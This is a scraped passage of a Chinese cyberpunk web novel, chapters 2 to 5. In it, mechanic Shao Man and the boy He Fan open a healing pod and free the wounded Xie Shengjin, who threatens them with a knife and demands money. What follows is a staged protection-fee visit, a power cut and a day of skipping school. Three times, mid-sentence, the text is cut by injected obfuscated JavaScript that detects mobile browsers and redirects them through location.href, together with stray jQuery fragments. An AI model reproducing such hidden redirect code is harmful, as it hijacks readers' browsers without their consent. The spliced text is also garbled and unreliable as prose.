《开局捡到赛博财阀[gb]》 2. 横空出世的麻烦 何饭啃着包子,坐在椅子上,无所事事地看着邵满辛辛苦苦地拆卸零件。 不是他懒,也不是他明天就要离职走人所以如此堂而皇之任由老板工作,而是邵满不允许他动。 邵满要确保拆完零件后能原封不动地装回去,并且不损坏它原本的功能。他的每一个动作都小心翼翼,简直谨慎到极致,完全不敢让没有接受过任何专业教育、最多算得上学徒水平的何饭上手。 桌上属于邵满的早饭已经放凉了。 但此刻邵满完全无心于此。随着拆卸零件的程度越深,他的眼中熠熠发光。邵满极力压抑着自己的心跳和手上因为激动而引起的颤抖,才能确保他的每一个动作都能保持箱子的完好无损。 一道道纤细的激光束精准地射向精巧的外壳连接处,发出细微的“滋滋”声。外壳的金属分子在激光的作用下逐渐分离,完整的碎片落在铺设好的柔软布料上。 随着顶端外围逐渐被拆卸,邵满长长地呼出一口气。 他一抹额头,拿出一个用弹簧和金属片自制的撬棍。这个撬棍长而细,体积不大但精巧。随着它伸进机甲内部,核心部件的固定装发出一阵令人牙酸的金属摩擦声。 “嚓嚓嚓嚓……” 这个声音很刺耳,像尖锐的指甲在金属板上抠抓。但屋内的两人都无动于衷。 “噌!” 何饭一听到这声音就坐直了身体。 下一秒熟悉的“咔哒”声传来。 “好了?” 何饭小心翼翼暗含期待地开口。 他将脑袋探过去,屏住呼吸,看着邵满激动但缓慢地掀开最后一层银白色的盖子。 这仿佛蛋糕店最后一层礼盒,只要轻轻一扯礼带就能看到期待已久的精美佳作。饲养蚌壳多年就是为了此时此刻,流光溢彩的千年神珠即将缓缓拉开神秘的面纱—— “啪!” 邵满以迅雷不及掩耳之势盖上了盖子。 何饭脸上的震惊、恐慌、失望、茫然交杂在一起,还没来得及绽放出点混合情绪,就被邵满的手速惊呆了。 下一瞬他就被捂上了嘴。 “走,咱就当这事没发生过。”邵满用气声对何饭说,“别慌,我们现在把这东西送回去……” “——送到哪儿去?” 不属于屋内两个人的声音慢条斯理地问。 ……悄无声息。 直至劲风带着冰冷的寒意抵在脖颈处,邵满的手依旧没从何饭的嘴上挪开。 接着邵满看到了何饭的眼睛。他的瞳孔急剧收缩,惊恐几乎要涌出眼眶。邵满从他眼中看到了绑架者模糊的长相。 是个女孩。 邵满想。 一个身形挺拔、脸上有狰狞伤口的女孩。 他默不作声地放下手,接着轻轻咽了口唾沫。下一刻就感觉到脖子的刀锋已经压迫到他的皮肤,带来毛骨悚然的凉意。 邵满死到临头,想的居然是这算不算睡美人故事的翻版?只不过睡美人是被吻醒的,而面前这位是被强盗吵醒的……不过话又说回来,要是睡美人有这武力值,估计王子还没碰到人就被砍死了。但这睡美人的床真的很漂亮啊,要他是王子,第一口亲吻的可能就不是公主而是公主身下的这张床,毕竟这东西就算躺在垃圾堆里也能轻而易举地走进他的心里…… 而一旁的何饭快被急哭了。 伺候邵满这么多年,凭借这一身本事哪怕穿越回古时候他也无愧大公公的美名,他早就对这祖宗的微表情了如指掌—— 邵满这货居然还在走神!! “邵哥……”他的眼泪唰的一下就流了出来,小孩虽然从小经历种种磨难,但真正这种剑拔弩张的场景还是第一回遇到。 何饭心中的悔恨之情如潮水一般涌来,情急之下他直接叫了邵满的名字:“邵满……你,你想想办法啊……” 邵满脖子上的尖刀不易觉察地一顿。 可惜剩下两个人,一个年纪尚幼六神无主,另一个刚从神游天外之中缓过来,谁也没注意到。 “嗯?你还没回答我呢。”女孩轻声道,“送到哪儿去?” “送我心里……啊,不是。”邵满终于回过神来,“送我家的VIP主卧,之后这就是你家了,要是你不满意我立刻就搬出去,行吗?” “对不起啊。”他诚恳道歉,“我不知道那是你家。” 女孩笑了声,没说话。 邵满只好主动提议道:“不然这样?我把你塞回去?然后把东西给你修好?” 背后的人弯了弯唇,心平气和、笃定地说:“你修不好。” 邵满没有被人质疑专业功底的愤怒。他问道:“那我可以做什么补偿?” “我想想。”她说。 一时半会儿,屋内静得能听到每个人的呼吸声。 邵满等得心急如焚时,终于听到了身后饶有兴致的声音。 “你家情况怎么样?” 这是干嘛?邵满心想,打听家底?准备杀人灭口?还是打家劫舍? 他不动声色,“我上有老下有小,家里还有九口人等着我回家投喂。我奶奶身患重病瘫痪在床,父母喝吃嫖赌无恶不作,还有一大堆嗷嗷待哺的弟弟妹妹,您看这.....?” “是吗?” 身后的人笑了一声。 邵满感觉她没信。他硬着头皮、干巴巴地回答道:“是呀。” 几秒的沉默后,那人轻轻把刀上抬了一点,“你希望我现在做什么?” 邵满感受着已经有些呼吸不畅的痛苦,耿直道:“把刀放下?” “不要。” 干脆利落的拒绝声。 邵满郁郁了。那问我干嘛?逗狗吗? 但敌强我弱,必须低头。 邵满目光一扫,看到眼睛红通通的何饭。 唉,这孩子还哭了。 邵满有心安慰他几句,但被刀架住脖子的是自己,先死的估计也是自己。不知道杀我的时候能不能给何饭蒙一下眼睛,省得小孩看到鲜血四溅的画面做了噩梦。 身后的人太久没声,邵满心说我也不能就这么等死吧,于是问道:“你需要我干什么吗?” 女孩思忖片刻,提出一个问题:“你有钱吗?” “没有。” 刀尖往脖子深层的肌肉更近了一步,“真的?” “……也可以有。” “好的。” 女孩将刀放下了。 她后退一步,跟两人隔开安全距离。 邵满没有立刻转身。他拍拍何饭的肩,然后往他旁边挪了一步,才转头看见女孩的脸。 她从箱子中离开的速度太快,邵满毫无察觉时就已经丧失了所有掌握先机的谈判机会。 如邵满所想,女孩的个子挺高,身形挺拔,脸上是一道被贯穿的巨大伤口。 这道伤口皮开肉绽、狰狞可怖,似乎离受伤发生的时间不太遥远,因此还能看见乌黑的血液和黏脓。她下颌和锁骨处的轮廓锋利而清晰,衣物破烂,斑驳血迹浮现其中。 但最让邵满印象深刻的,是她的眼睛。 地下室的灯光很暗,探照灯打向女生身后的箱子,于是她身处背光,脸庞轮廓并不明朗,唯独眼睛熠熠生辉,像森林中波光粼粼的湖。 “我叫谢盛谨。”女生说。 邵满心头一跳。 “哪个谢?”他犹疑地问。 “王谢堂前燕的谢。” 邵满沉默了一瞬,他说道:“我叫邵满。” 然后他拍拍何饭的肩,“他叫何饭。吃饭的饭。” 谢盛谨点头。 屋内立刻又陷入令人窒息的沉默。 凝滞的空气仿佛变成看不见的鬼魂,几乎扼住邵满的脖子。以往能滔滔不绝半小时的话如今一个字也蹦不出来。 谢盛谨突然问道:“你很紧张?” 废话。邵满心说。我紧张得理所应当堂堂正正天经地义,你霸占无辜良民的住宅还有理了? “是你先毁了我的……住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380000|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所的。” 谢盛谨摊摊手,“谅解一下。” 邵满一惊,差点以为自己不小心说出口了。抬眸看到女生略带笑意的眼神才反应过来。 此人还会读心术……断不可留!可惜自己现在是手无寸铁的草包皇帝,唯一的同盟还是毛都没长齐的小太监,奸臣只手遮天霍乱只有三个人的朝廷,罪名确凿罪不容诛!朕的大军呢?还不快来护驾! ……邵满及时拉回天马行空的思绪。 他在心中给了自己一个巴掌,再走神就掌嘴! “好吧。”他无可奈何地说,“你吃饭了吗?” 他指了指自己从早上忙到现在因此一直来不及吃掉的包子,“冷了可能,可以热一下。” 谢盛谨点点头,“谢谢。” 她倒是一点也不客气。不怕我给她下毒吗? 邵满刚冒出这个念头,就与谢盛谨的眼睛对了个正着。她的眉眼舒展,有种一切尽在掌握之中的镇定和云淡风轻。 邵满悻悻地挪开了视线。 …… 谢盛谨没有限制两人行动。 于是邵满和何饭坐在一楼愁眉苦脸。 “怎么办啊,邵哥?”何饭眼睛的红肿还没有消退,肿得像个核桃。 邵满瞅他一眼,被逗乐了。 “凉拌。”他笑嘻嘻地伸手去摸何饭的眼睛,被一巴掌拍开了。 “我认真的!”何饭无奈地低吼。 “我也是啊。” 邵满说。 “我们又打不过她,能怎么办?而且人家要钱不要命,既不捅我们两刀,也没让我们打黑工去赚钱。何况是咱们有错在先,把人家屋给撬了,没让我们赔就不错了。想开点,嗯?” 何饭无言以对。 他憋了半天,“你怎么,怎么还站在别人立场思考?” “你就说对不对吧?” 对。确实对。 何饭被这么一说,几乎要愧疚起来了…… 放屁。 他咬牙切齿道:“邵满。你哪儿来的钱?” 邵满一愣:“嗯?” “我没有钱吗?”他问。 何饭有气无力,“……你当然没有。” 何饭才是这个家真正管钱的人。他对邵满兜里有几文几分比他本人还清楚,这人花钱大手大脚生活常常入不敷出,要不是有一身本事早就吃土去了。算账小厮何饭有时甚至得精打细算才能维持两个人惨淡的开销。 “这么惨啊?” 一道声音插进来。 两人俱是触电般的一抬头。 谢盛谨已经换了身衣物,但脸上的伤口依旧狰狞可怖。 “别紧张。”她说,“在你们没有威胁到我的生命安全之前,我不会伤害你们一丝一毫。” “威胁到生命安全”的界限是什么?何饭想问,但不敢问。 邵满心大得能撑船。他欣然点头,“那挺好啊。” 谢盛谨自然而然地走过来坐下。她坐得很直,脊背笔挺,肩颈处的线条舒缓,肌肉放松。 邵满收回视线,正想跟何饭争论一下“我的钱都去哪儿了”这个问题时,门口响起了悍然砸门的声音。 震耳欲聋,砰砰作响。 邵满第一反应是看向谢盛谨。 谢盛谨无辜地回望他。 下一秒邵满看向何饭,低声道:“咋了?” 何饭同样一脸茫然,“不知道啊。” 谢盛谨尽收眼底。她主动提议道:“我去开门?” “不用!” 两道异口同声的拒绝。 邵满给了何饭一个眼神,“我去。” 然后他装模作样地盯着谢盛谨,朝她露出一个敷衍的微笑,“哪儿能麻烦客人?” “不算麻烦。”谢盛谨微笑着说。但她也没动。 接着邵满站起了身。 两个人目送着他走过去,停在门口,手放在门把手上,顿了顿。 接着手一按,拉开了门。 3. 保护费 喧闹声像洪水一样冲进屋。 外面人头攒动,充斥着嘈杂的吆喝声、吵闹声,以及乞求和殴打的哭嚎。尖锐而混乱的嘈杂环境让何饭不禁皱起了眉。 他看上去并不担心站在门口的邵满,目光反倒从谢盛谨脸上一扫而过。 谢盛谨面无表情。 何饭挪开视线,眯眼看向门口。 嘈杂声响中,被半开着的大门中央出现了一条如树干般粗壮的手臂。手臂的主人轻轻一拨,整个大门就毫无反抗地为他展开。 一股带着污臭的难闻气息和义体长时间使用而散发的老化气味像蛇一般钻进屋内。 来人拦住了剩下所有跃跃欲试想要涌进屋的人,接着他向前一步,露出他雄壮的躯干和大腿。 “咚”的一声,他的脚重重地踏进屋内。 这是一个几乎顶到天花板的寸头壮汉。他的机械右臂闪烁着诡异的蓝光,左臂刻满了狰狞的纹身,在灯光下若隐若现。眼睛瞎了一只,脸上有道可怖的陈年旧疤。 他眯着眼往灯光昏暗的屋内扫视了一圈,在谢盛谨脸上停留了些许,然后缓缓低下头,极有压迫力地盯着距离他最近的邵满。 “家里人头多少个?保护费交上来!” 他的声音洪亮如钟几欲震碎本就不结实的危楼。他身后的几个小混混也跟着起哄,手中的棍棒肆意敲打着墙壁,发出令人胆寒的声响。 寸头壮汉不紧不慢,“一个成年人八百块。小孩和老人五百。” 他伸长脖子向屋内张望,意味深长地拖长了语调:“两个大人,一个小孩啊……” “——两千一!” 他一锤定音。 屋内三个人。所有人都真诚地望着他。 没人伸手给钱。 几秒后,寸头壮汉的目光徐徐凝固在邵满身上。 邵满后退一步。 他侧身朝何饭一挥手。 “来,给这位大哥递上!” 何饭这才应了一声,急急慌慌地跑上楼梯。 他去了二楼。 谢盛谨收回目光。 她垂着眼盯着桌子,邵满看不见她的眼神,也无从得知她在想什么。 他站在门口,单手插兜,另一只手拿着不知从哪个桌上顺来的螺丝刀,无意识地把玩。 几分钟后何饭下了楼。 他朝邵满跑过去,递给他一堆票子。 “邵哥。”何饭支支吾吾,“只有,只有这么点。” 邵满动作一顿,若无其事地接过来,“还差多少?” 何饭小心翼翼地伸出一只手。 “五百?!” 邵满眉毛一扬,螺丝刀也不转了,兜也不插了,对自家的贫穷难以置信。 “咱家这么穷呢?!” 他第一时间就像把责任推卸给别人,奈何家里就俩人,何饭有多抠搜没人比他更清楚,话语在喉头处一转,艰难地变换了背锅对象,“你是不是没放好?被老鼠啃了?” 何饭的眼神明明白白地写着“你在说啥呢”这几个大字。 邵满心虚地移开视线,心里痛定思痛决定一改陋习,从这个月开始每天写计划书,把钱花在哪儿了怎么花的为什么要花是必须花费吗…… 这不是当下应该思考的事,因为当下他要面对债主。 邵满亲亲热热地把钱给寸头大汉塞过去,“这位大哥,算我欠你七百?” 他不动声色地递了一个眼神过去,电光火石之间脑电波对上,寸头大汉那张看上去比他山之石还难攻克的脸上居然挤出一个堪称温柔的笑容。 即使邵满与其认识良久了还是难以适应,他不忍直视地撇开视线。 “当然可以。”温柔的寸头大汉轻轻拍了拍邵满的肩膀,然后毫不温柔地从他手里抽走了一个家庭最后的根基。 邵满眼睁睁地看着一群即将患上赛博精神病的混混带着他那叠有零有整零零散散的票子雄赳赳气昂昂地离开了……然后继续搜刮下一家的民脂民膏。 脸上带着假笑,然后砰的一声关上门。 何饭跟在他身后默不作声。 等待邵满从破产的悲痛情绪中缓解过来,沉重开口问道:“现在几点了?” “下午两点半。” 回答他的是半点没把自己当客人的谢盛谨。 邵满被吓了一跳。 “这么晚了?我早饭还没吃呢。” 很明显现在他们没钱出去吃饭。于是邵满想了想,挽起袖子站起身,“那我去做饭吧。” 何饭的眼睛一下就亮了。 “真的?” “嗯。”邵满快要走进厨房时,突然探出半边身子,他遥遥喊了声谢盛谨,“我做饭很好吃的。何饭可以作证。” 何饭点点头,难得持赞同意见:“对。” 谢盛谨眨眨眼,“真的啊?” “那我期待一下?”她笑着说。 …… 如邵满所言。他做饭的确有一手。 他还在厨房,谢盛谨就已经能闻到浓郁醇厚的香气。那是由糖、酱油与猪肉完美融合的独特味道。 几道无论从长相还是气味都无可挑剔的菜品被摆上桌。 红烧肉块块方正,大小均匀,表皮被糖色染成了诱人的枣红色,在不太明亮的灯光下都能泛着油亮的光泽。糖醋排骨色泽红亮,每一块都均匀地裹满了酱汁,酱汁浓稠,微微拉丝,甜味和醋香交杂在一起钻入鼻腔。嫩白的豆腐块上覆盖着一层棕红油亮的辣椒油,星星点点的红色辣椒末、翠绿的葱花与褐色的花椒粉点缀其中。旁边还有青翠欲滴的小青菜、火候恰到好处的土豆丝。 谢盛谨显然没想到邵满这张嘴还有货真价实的时候。 而另外两人费尽心思,硬是从她伤口横贯的脸上看出了一丝惊讶。 邵满心花怒放,有种终于掰回一局的得意。 “咳咳。” 他矜持地轻咳一声,“怎么样?还不错吧?” “很好吃。” 谢盛谨不吝啬于自己的赞美。她朝邵满笑了笑,“邵哥好厉害啊。” 邵满突然听到自己心脏“咚”的一声。 她叫我邵哥也没什么问题吧?看上去年纪也挺小,总不能天天喂来喂去的…… 邵满用两秒说服了自己。 他欲盖弥彰地握紧了筷子,“嗯,喜欢就多吃。” 此后的几分钟内,餐桌上只有安静的咀嚼声。 邵满几乎快要沉浸在这来之不易的安宁氛围时,谢盛谨突然往后一仰,撞击到椅背发出沉重的一声。 她仰头,脖子因为这个动作扯出一条紧绷的曲线,青筋暴起,上面的伤口全一览无余。 邵满和何饭都被吓到了。刚想开口:“怎……” 下一刻,鲜血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380001|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从谢盛谨的嘴角溢出,扯出一条笔直的线。 像一条来势汹汹、面目狰狞的蛇。 谢盛谨半闭着眼。 她侧身半靠着椅背,头颅扬起,脖颈上的青筋清晰可见,但眼帘低垂,伤口狰狞,鲜红的血迹在素白的下巴上显得触目惊心。 邵满连呼吸声都不敢放大。 他战战兢兢地盯着谢盛谨,生怕她下一秒就要做出什么杀人灭口之事。这时候邵满突然注意到谢盛谨一直保持在桌下的左手,即使吃饭过程她的躯体依旧保持着肃然坐立的姿势,左手连带肩膀没有一丝摇晃的痕迹,他正疑虑着什么……下一秒靠着椅背的谢盛谨却倏地抬眼,眼神如刀般和他直直对上! 邵满骤然一惊。 谢盛谨凛冽如冰的眼神却瞬间消失了,她定定地看着邵满的眼睛,顷刻后嘴角扬起一丝懒散的笑意。 在邵满心惊胆战的目光中,谢盛谨的左手轻轻扬起。邵满心跳得极快,隐隐约约的预感几欲呼之欲出,他几乎猜到谢盛谨左手到底握的是什么东西时,谢盛谨却迎着他的目光,缓缓一眨眼,扬起一抹若有似无的笑,手肘一晃,如抚琴般轻轻一弹。 “叮!” 是清脆的、如玉石俱碎的声音。 但常年泡在机械工艺、与钢筋铁片扎堆的邵满,知道那同样也是敲击X-11型高密度聚合材料的轻响。 下一秒邵满望见的是谢盛谨的眼睛。 ——那是一片深沉如墨、遥不见底、一切尽在掌握之中的平静。 “……邵哥。” 谢盛谨轻轻说道。 “扫兴了。”她毫无歉意地笑了笑,“不好意思。” ——鸦雀无声。 没有人动筷子,也没有人咀嚼。 空气中的尘埃似乎都静止不动了,那声清脆的敲打仿佛战争一触即发的号角,唯一的问题是双方大将都没有打仗的心思,清越余音在空气中慢慢消散,仿佛刚刚的紧绷只是一种错觉。 沉默中,邵满悄悄地左右环视一周,然后猝不及防地和紧张无措的何饭对视上了。他立刻心虚地收回视线。 其实邵满没有想沉默的意思。 他正在绞尽脑汁地想词。到底怎么才能表达出自己委婉又不谄媚、礼貌又不卑微、恭敬又不神经、愚笨又不脑残的态度? 他琢磨着,谢盛谨没有想杀人灭口的心思吧?她看上去状态也不太好,估计也是想好好休息的,所以这其实是一种谈和?她不会对我们做什么,同时让我们不要小瞧她? 邵满向来都觉得自己想象力挺丰富的,尽管老是在不合时宜的地方发挥作用。 他一直不说话,何饭一直紧张,谢盛谨一直好整以暇地盯着他。 直到邵满的肚子“咕”的叫了一声。 这一声的作用不亚于战争一触即发时主帅突然冲上来大喊“是个误会!”。 凝滞的空气屏障瞬间破裂。邵满的脸皮堪比城墙,半点没觉得不好意思,反而松了口气。他喝了口水,抬眼看向谢盛谨,真诚地问: “呃,你需要我们做什么?” 这时候他才看到谢盛谨居然在笑。 邵满眨了眨眼,确定自己没有看错。 谢盛谨的确在笑。她笑着回答邵满的问题:“钱。” “大量的、很多的钱。”她心平气和、甚至称得上愉悦地陈述事实,“但你们似乎没有。” 4. 没钱 吃完饭后,谢盛谨声称自己身体不太舒服,回地下室躺进了她的箱子里。 邵满正因为擅自撬了人家的屋而不自在呢,但谢盛谨没说什么他也不知道怎么开口。 于是他眼巴巴地目送着谢盛谨下楼,直到她的身影消失在视线中,才垂着头无精打采地回到餐桌旁。客厅狭小,和外面杂乱无章的货架连通,大门一开就能尽收眼底。 何饭一看他过来就急着张嘴要说什么,但邵满眼疾手快地捂住了他的嘴。 “嘘。” 邵满轻轻眨眨眼。 何饭看了他一眼,默不作声地坐回他的位置。 邵满一屁股坐下去,舒舒服服地靠上沙发,“啪”地打了个响指,“小安!打开电视!” 随着这声命令,几米外干干净净的墙壁像涟漪一样波动开,接着碎片晶体如同从水底浮上来一般,先是泛起一层淡淡的幽绿色光芒,随后光芒如潮水般迅速蔓延至整个屏幕。屏幕表面的电路开始疯狂闪烁,迸发出一串串复杂的代码,这些代码如同有生命一般,在屏幕上飞速游动、交织、重组,最终形成一个完美的屏幕。 何饭对邵满费尽心思做的这番特技见怪不怪不以为然。 他急着给邵满说事,但邵满不让他开口就只能憋着。 屏幕上的由经过基因改造或机械强化的艺人展现着极具视觉和听觉冲击力的舞台,歌声悦耳画面动人。但邵满“啪”的一下就换了个台。 “各位观众朋友们,欢迎收看今日新闻。近日,商业巨头程家旗下的最新医疗量子芯片工厂发生离奇爆炸事件,损失惨重。目前程家发言人表示,正全力调查事故原因,不排除恶意人为破坏。程家作为医疗领域的佼佼者,此次事件无疑将对科技产业布局产生深远影响。” 画面切换,主持人继续说道:“另一边,谢家最近似乎没什么波澜。电子信息的龙头通过一系列复杂的资本运作,成功控股了多家小型机构,进一步巩固在电子信息界的地位。谢家旗下昭砚电子集团CEO在此向业界各类人才发出诚挚的邀请,欢迎来到昭砚,与各位共事是我们的荣幸……” “……希尔维斯特家族举办的年度慈善晚宴落下帷幕,然而有消息爆料,晚宴背后实则是家族内部权力的暗中较量。各分支成员表面谈笑风生,实则暗流涌动,为争夺家族核心决策权明争暗斗。” “接着是杜兰家族的最新消息……呲呲呲!” 屏幕突然扭曲起来,电路开始疯狂闪烁,被掩盖的复杂的代码被闪成残影,几秒后新闻频道消失,出现的是最开始各类明星的载歌载舞。 邵满不甚满意地哼了一声。 他正准备换个台陶冶一下情操,但尚未来得及伸手,屏幕中五光十色的蛇精脸们正款款谢幕时,“噗嗤”一声,头顶的灯灭了。 邵满一脸茫然地抬起头。 下一秒,他精心设计的屏幕就就像退潮被带走的沙砾贝壳一般消失在墙上。 屋内一片漆黑。 “?”邵满脑袋上冒出一个问号。 他难以置信地吼了声:“何饭?何饭呢?!” 回答他的是何饭有气无力的声音:“这儿呢邵哥。” 邵满指了指头顶的灯泡,突然意识到何饭看不见,随即憋屈地把手放下来,“怎么回事啊?” “没电了。” 邵满一惊,“你逗我呢?” “没啊。”何饭心如死灰,“我刚刚就想告诉你,是你一直不让我说话。” 邵满想起这回事了,但他还是不能原谅,“咱们的钱呢?不都放在你那里的?” “交保护费了。” 邵满还没来得及从何饭生无可恋的声音中预感到什么沉痛的事实,他震惊地抓过何饭,在他耳边小声但茫然地问:“我们不是在逢场作戏吗?” 我记忆力退化到这种程度了? 邵满不可置信。 他喃喃自语:我记得不是我亲自去找的无涯帮外貌协会代表佛伦,让他带着一帮小弟来我家收保护费以给谢盛谨展示我家徒四壁身无分文穷得清清白白坦坦荡荡的家境吗?怎么我还真没钱了??? “是的,没错,邵哥。” 何饭理智地回答:“咱们的确是逢场作戏,但交出的钱都是真的。不仅如此你还答应佛伦能搜刮到多少是他的本事,有多少给他多少。你承诺了,他同意了。只是我们不仅低估了自己的花销还高估了自己的存钱能力……所以邵哥,你现在还欠佛伦七百块钱。” 何饭将这一番话吐出来后就紧闭双眼,等待着从天而降的凌迟。 但半天没有动静。 几秒后他悄咪咪地睁开一只眼,接着全部睁开。 犹豫了一会儿,他伸出手拍了拍左边,“邵哥?” “……我不是你邵哥。” 邵满有气无力地拍开何饭的手,“去找你的邵哥,我不认识他……找到了记得让他还钱,钱还完了再来找我。” 何饭死死地抿住唇,防止自己笑出声来,他虚情假意地安慰道:“哎呀,没事邵哥,没事的,七百块钱而已,很快就回来了。以邵哥的本事也就分分钟的事……” “滚。”邵满一挥手,转过身背对着他,“少来捧杀那一套。” 何饭穷追不舍,他挪动着屁股,一点点挪到邵满旁边,小声提醒道:“邵哥你别忘了,我们还要给谢盛谨钱呢。” 雪上加霜。 火上加油。 邵满如遭雷击。 他痛苦地嚎着:“为什么要这么对我?我草……我的钱都去哪儿了……” “饭儿,从这个月开始你每天写个清单,把钱花在哪儿了、怎么花的、为什么要花、是不是必须花费……都好好写清楚了!” “好。”何饭眨眨眼,“其实,邵哥,之前也写过,但你说没啥用就没写了。” “那是童言无忌你懂什么!”邵满根本没有脸皮这个东西,他毫不羞赧地撇清自己,“知错能改善莫大焉,那就从现在开始写。” 何饭应了声。 “几点了?”邵满问。 “五点。” “刚好?” “过三分钟。” “哦。” 邵满躺在沙发上一动不动。 何饭发着呆,几秒后他听见邵满问道:“你今天的作业写没?” 他差点一口血喷出来。 “我有时间写吗?”何饭憋屈得要死,“我什么时候写?而且今天我……” 他的话音戛然而止。 十几秒后,两道声音不约而同地在漆黑一片中幽幽地响起。 “卧槽。” 邵满一个鲤鱼打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380002|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺坐起来。他伸手拼命地摇晃何饭。 “今天周几来着?” “你是不是没去上学?!” 完了。 一大一小两个人同时想到。 又要被骂了。 …… 十分钟后。 邵满手忙脚乱地带着何饭出门。 两个人的造型都分外诡异。邵满一身漆黑穿得严严实实,口罩墨镜帽子一个不落,而何饭顶着一个鸭舌帽,背着一个敞着拉链的书包,书包里的书皱得仿佛刚从腌菜缸子里捞出来,随着走路的动静包里还不断传来笔杆碰撞的声音。 邵满一边走一边嘱咐何饭:“要是老师问起你,你就说我重病发烧险些一命呜呼,你作为大孝子在家里照顾我,知道吗?” 何饭同样神情紧张:“等等,邵哥,要是老师问你生了什么病怎么办?” 邵满“啧”一声,恨铁不成钢地给了他脑袋一下,“你不知道编吗?我像你这个年纪的时候手到擒来脱口而出诓骗老师那就一个流畅!流行感冒寻常型银屑病变应性鼻炎十二指肠溃疡急性髓系白血病……多的是!” “但是就在前不久你才得了肺间质纤维化重症肌无力系统性红斑狼疮原发性胆汁性肝硬化临期赛博精神病……”何饭苦恼地抓着头发,“不仅如此,你还肢体僵硬、动作笨拙、皮肤瘙痒、黄疸、脂肪泻、腹痛、体重下降、剧烈瘙痒、皮肤干燥、苔藓样变、食欲减退,随时可能出现其他自身免疫性疾病。因此你不能运动不宜出门不可见光不方便见人。” 他幽幽地盯着邵满。 “……老师是缺心眼成什么样才能继续相信我的说辞?” 邵满硬生生被盯到心虚。 “那怎么办?”他干脆破罐子破摔,“总不能让老师骂我吧?” “那就能让老师骂我?!” 何饭瞪着他,气鼓鼓地加快了步伐。 邵满眼疾手快地拉住他,“诶诶诶,别生气啊。” 他的力气对付一个孩子简直绰绰有余,何饭抓着自己的书包带子走也走不了,无可奈何地问:“你又要干什么?” “干脆今天不去上学了。”邵满眼珠子一转,出了个馊主意,“反正学校教的都是些啥?你这么大了一天到晚还鹅鹅鹅曲项向天歌的,你们班那些智障同学至今连九九乘法表都背不到!” 这话说到何饭心坎上去了。 何饭今年十三岁。贫民窟的教育水平极低,邵满虽然不靠谱,但平时随便给何饭讲点什么也远超贫民窟学校一年的埋头苦读。他去学校不过是拿个文凭,按理说旷课太多次且不能通过结业考试的话是拿不到毕业证的,但写出这条规定的校长显然没有预料到何饭这么特殊的情况,有文化的家长还跟孩子沆瀣一气蒙骗学校,于是何饭平时就是去混个样子,做做作业,省得邵满无所事事来骚扰他。 但旷课多了也容易出事,何饭在学校里鹤立鸡群的聪明才智引得了无数老师的怜惜,毫不知情的邵满作为不负责任的家长,有天去接何饭放学时被劈头盖脸地骂了个狗血淋头,从此之后再也不敢踏入学校一步。 就这样一大一小一拍即合,学校也不去了,作业也不做了,反正家里也没电,于是俩人在外面无所事事地闲逛着,厚着脸皮到处蹭饭,直到夜色渐浓,猝不及防地遇到一个熟悉的身影。 5. 装腔作势 邵满神色僵硬地用胳膊怼了怼何饭,“我年纪大了眼神不好,你看看那是谁?” 何饭的神色比他还惊恐,“不不不不不实不相瞒我前段时间沉迷学习不小心近视了还没来得及给你汇报还是你看吧邵哥!” 他们站在巷子中央相互推卸责任,直到那道身影转身朝着两人微微一笑,俩人还在用胳膊肘怼来怼去。 “你们怎么在这里?” 谢盛谨遥遥问道。 这话不应该我问她吗?!邵满不动了,胳膊肘也不怼了,悄无声息地把背挺直端正站姿。 但闲聊就是这样,但凡别人掌握了先机,剩下的所有对话都将被牵着鼻子走了。 他干巴巴地笑了声,“随便逛逛。” 谢盛谨点点头。她随即侧过身,笑着从店铺老板那里将东西接过来,然后朝着邵满的方向走来。 等到谢盛谨走近邵满才注意到她脸上的伤口变化:“你好得这么快?” “啊。”谢盛谨摸了摸自己的脸,“是治疗舱的作用。” 邵满迅速联想到那台箱子,“那是治疗舱?” “对啊。”谢盛谨提着一大口袋东西,但仍显得非常轻松。 邵满在犹豫自己要不要发挥绅士风度帮一下忙,但又怕这里面装的是什么不可见人的东西。他摩挲了一下手指,陷入纠结当中。 幸好谢盛谨及时开口问道:“你们要回去了吗?快下雨了。” 邵满抬头一望,天色的确暗沉,黑云压顶,蜻蜓低飞。 “嗯。”他点头,“回去了。” 谢盛谨往前一步走到何饭旁边,问道:“家里停电了?” 邵满面不改色心不跳地回答:“对啊。交保护费之后家里就没钱了。对了,明天我和何饭出去赚点外快,你要一起吗?” 谢盛谨想了想:“好啊。” 随即她略微低头,看向何饭。 何饭似有觉察,抬头与她对视。她朝他笑了笑,撇开视线,问邵满道:“这里还雇佣童工?” 邵满啧了一声,“什么童工,能压榨的都是好工!那些见钱眼开敲骨吸髓的资本家哪儿管你是不是童工!” 谢盛谨被逗乐了,“你不也在用童工?” 